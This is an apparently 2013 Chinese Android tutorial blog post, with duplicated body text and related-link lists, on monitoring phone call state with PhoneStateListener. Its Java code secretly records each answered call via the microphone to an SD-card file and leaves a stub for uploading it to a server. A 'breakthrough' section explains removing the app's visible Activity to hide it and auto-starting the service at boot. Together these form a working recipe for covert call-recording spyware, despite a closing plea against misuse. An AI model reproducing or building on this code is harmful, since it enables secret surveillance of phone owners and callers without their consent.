通过PhoneStateListener实现Android电话监听
2013-09-25 21:43
513 查看
电话监听是比较简单的安卓案例。但却非常经典,因为它涵盖了动态监听、服务绑定、文件保存三大技术操作。作为Android学习的不错案例,今天我就和大家一起来看看安卓通过PhoneStateListener实现的电话监听。
由于监听方法比较多,方法也可以不断修正改良,作为原理讲解,我们就先来看最简单的例子,直接通过程序启动服务绑定。(接下来就比较好接受广播+服务的后台监听)
OK,现在开始!
【一】监听原理:
1.基本机制:程序启动时,直接绑定服务,通过服务实现监听。
2.关键步骤:通过创建出实现了PhoneStateListener的Listener对象,并重写其中的onCallStateChanged()方法实现具体操作。
【二】监听环节:
我们先创建一个新类,继承Service,在重写的Oncreat()方法中得到一个手机管理器的对象,调用这个对象里的listen方法,并传递“手机监听”对象作为参数即可。如代码所示:
值得注意的是,我们在onCreat()方法中还调用了setForeground(true)方法,把该服务进程设为前台进程,这在此例中并没有实在意义,但可以提示大家,可以通过这个方法使得服务优先级得到提高,不会被优先回收掉。 同时我们在控制台打印了当前线程的ID,有什么用呢?别急,我下面会告诉大家~
【三】监听方法:
可以看到,TelephonyManager中有三个电话状态的常量,分别为CALL_STATE_OFFHOOK、CALL_STATE_RINGING、CALL_STATE_IDLE 分别对应着电话接听、响铃、无操作 三种状态。程序逻辑就是围绕它们实现的。当电话处于接听状态时,我们创建出录音器,并实现录音文件输出;当电话无操作时,判断recorder的值,若为空则停止、释放掉录音器。
可以看到,我们在CALL_STATE_IDLE状态下,是通过new Thread(){}的方法体来实现文件上传到服务器的操作的。前一步,我们在控制台就已经可以看出,服务是运行在主线程中的,所以为了避免ANR异常,我们把耗时的操作放在了新的线程中执行。这样,程序就会显得更加健壮。
【四】突破提高:
为了更好的实现隐藏,我们还可以把程序放在后台来执行。这就需要结合广播事件,代码仍很简单,但需要注意一些事项:
这里我们可以把主Activity.class直接删除,新建一个继承了广播接受者的新类,在onReceive()方法中直接开启服务监听。(如果有特殊需要,也可以实现绑定服务,这里不讨论了)
*需要注意的是,为了程序能实现开启启动,我们必须在清单文件中进行注册。
在<intent-filter>节点中我们指定了启动动作,这样就能实现开启启动服务了。当然,清单文件中还需要添加相关的权限,相信大家这一点不会有什么问题。
OK,到此为止,一个监听的小程序就做成了。希望大家借用技术发展进步,不要用技术去做违背科学意志的坏事。
由于监听方法比较多,方法也可以不断修正改良,作为原理讲解,我们就先来看最简单的例子,直接通过程序启动服务绑定。(接下来就比较好接受广播+服务的后台监听)
OK,现在开始!
【一】监听原理:
1.基本机制:程序启动时,直接绑定服务,通过服务实现监听。
2.关键步骤:通过创建出实现了PhoneStateListener的Listener对象,并重写其中的onCallStateChanged()方法实现具体操作。
【二】监听环节:
我们先创建一个新类,继承Service,在重写的Oncreat()方法中得到一个手机管理器的对象,调用这个对象里的listen方法,并传递“手机监听”对象作为参数即可。如代码所示:
@Override public void onCreate() { super.onCreate(); setForeground(true); TelephonyManager manager = (TelephonyManager) this .getSystemService(TELEPHONY_SERVICE); manager.listen(new MyPhoneListener(), PhoneStateListener.LISTEN_CALL_STATE); System.out.println(" 线程id "+ Thread.currentThread().getName());
值得注意的是,我们在onCreat()方法中还调用了setForeground(true)方法,把该服务进程设为前台进程,这在此例中并没有实在意义,但可以提示大家,可以通过这个方法使得服务优先级得到提高,不会被优先回收掉。 同时我们在控制台打印了当前线程的ID,有什么用呢?别急,我下面会告诉大家~
【三】监听方法:
private class MyPhoneListener extends PhoneStateListener { MediaRecorder recorder = null; @Override public void onCallStateChanged(int state, String incomingNumber) { try { switch (state) { case TelephonyManager.CALL_STATE_IDLE: // 当前电话处于闲置状态 System.out.println("当前电话处于闲置状态 "); if(recorder!=null){ recorder.stop(); recorder.release(); // Now the object cannot be reused recorder = null; new Thread(){ @Override public void run() { // 上传数据到服务器 可以自己再写方法upload(file) try { //upload(file); File file = new File("/sdcard/temp.3gp"); } catch (Exception e) { e.printStackTrace(); } } }.start(); } break; case TelephonyManager.CALL_STATE_RINGING: // 当前电话处于零响状态 System.out.println("电话号码为 " + incomingNumber); break; case TelephonyManager.CALL_STATE_OFFHOOK: // 当前电话处于接听状态 System.out.println("当前电话处于通话状态 "); // 初始化一个录音器, recorder = new MediaRecorder(); recorder.setAudioSource(MediaRecorder.AudioSource.MIC); recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP); recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB); recorder.setOutputFile("/sdcard/temp.3gp"); recorder.prepare(); recorder.start(); // Recording is now started break; } } catch (Exception e) { e.printStackTrace(); } super.onCallStateChanged(state, incomingNumber); } }
可以看到,TelephonyManager中有三个电话状态的常量,分别为CALL_STATE_OFFHOOK、CALL_STATE_RINGING、CALL_STATE_IDLE 分别对应着电话接听、响铃、无操作 三种状态。程序逻辑就是围绕它们实现的。当电话处于接听状态时,我们创建出录音器,并实现录音文件输出;当电话无操作时,判断recorder的值,若为空则停止、释放掉录音器。
可以看到,我们在CALL_STATE_IDLE状态下,是通过new Thread(){}的方法体来实现文件上传到服务器的操作的。前一步,我们在控制台就已经可以看出,服务是运行在主线程中的,所以为了避免ANR异常,我们把耗时的操作放在了新的线程中执行。这样,程序就会显得更加健壮。
【四】突破提高:
为了更好的实现隐藏,我们还可以把程序放在后台来执行。这就需要结合广播事件,代码仍很简单,但需要注意一些事项:
public class PhoneBroadcastReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { Intent service =new Intent(context,ListenerService.class); context.startService(service); } }
这里我们可以把主Activity.class直接删除,新建一个继承了广播接受者的新类,在onReceive()方法中直接开启服务监听。(如果有特殊需要,也可以实现绑定服务,这里不讨论了)
*需要注意的是,为了程序能实现开启启动,我们必须在清单文件中进行注册。
<receiver android:name=".PhoneBroadcastReceiver"> <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED"/> </intent-filter> </receiver>
在<intent-filter>节点中我们指定了启动动作,这样就能实现开启启动服务了。当然,清单文件中还需要添加相关的权限,相信大家这一点不会有什么问题。
OK,到此为止,一个监听的小程序就做成了。希望大家借用技术发展进步,不要用技术去做违背科学意志的坏事。
相关文章推荐
- android之通过phoneStateListener监听电话状态改变
- android之通过phoneStateListener监听电话状态改变
- android之通过phoneStateListener监听电话状态改变
- android之通过phoneStateListener监听电话状态改变
- android 电话状态的监听(来电和去电) PhoneStateListener和TelephonyManager
- android 电话状态的监听(来电和去电) PhoneStateListener和TelephonyManager
- Android监听手机电话状态与发送邮件通知来电号码的方法(基于PhoneStateListene实现)
- 举例说明在android中用PhoneStateListener监听手机电话状态与用发送邮件来通知来电电话的号码
- android 电话状态的监听(来电和去电) PhoneStateListener和TelephonyManager
- 举例说明如何在android中实现设置黑名单的功能--AudioManager、PhoneStateListener的使用
- 监听手机拨打电话的状态 private PhoneStateListener getPhoneStateListener()
- PhoneStateListener电话监听
- 安卓:解决应用前后台切换报The surface has been released错误;PhoneStateListener实现通话状态的监听
- Android基于AudioManager、PhoneStateListener实现设置黑名单功能
- Android中通过来电转移实现“电话已关机”,“此号码已停机”等
- Android 利用PhoneStatelistener 判断网络是否连接
- Android广播接实现监听电话状态(电话的状态,拦截)
- 通过HttpSessionListener监听接口实现对当前在线人数的监听
- Linphone callState 电话状态的监听状态(一)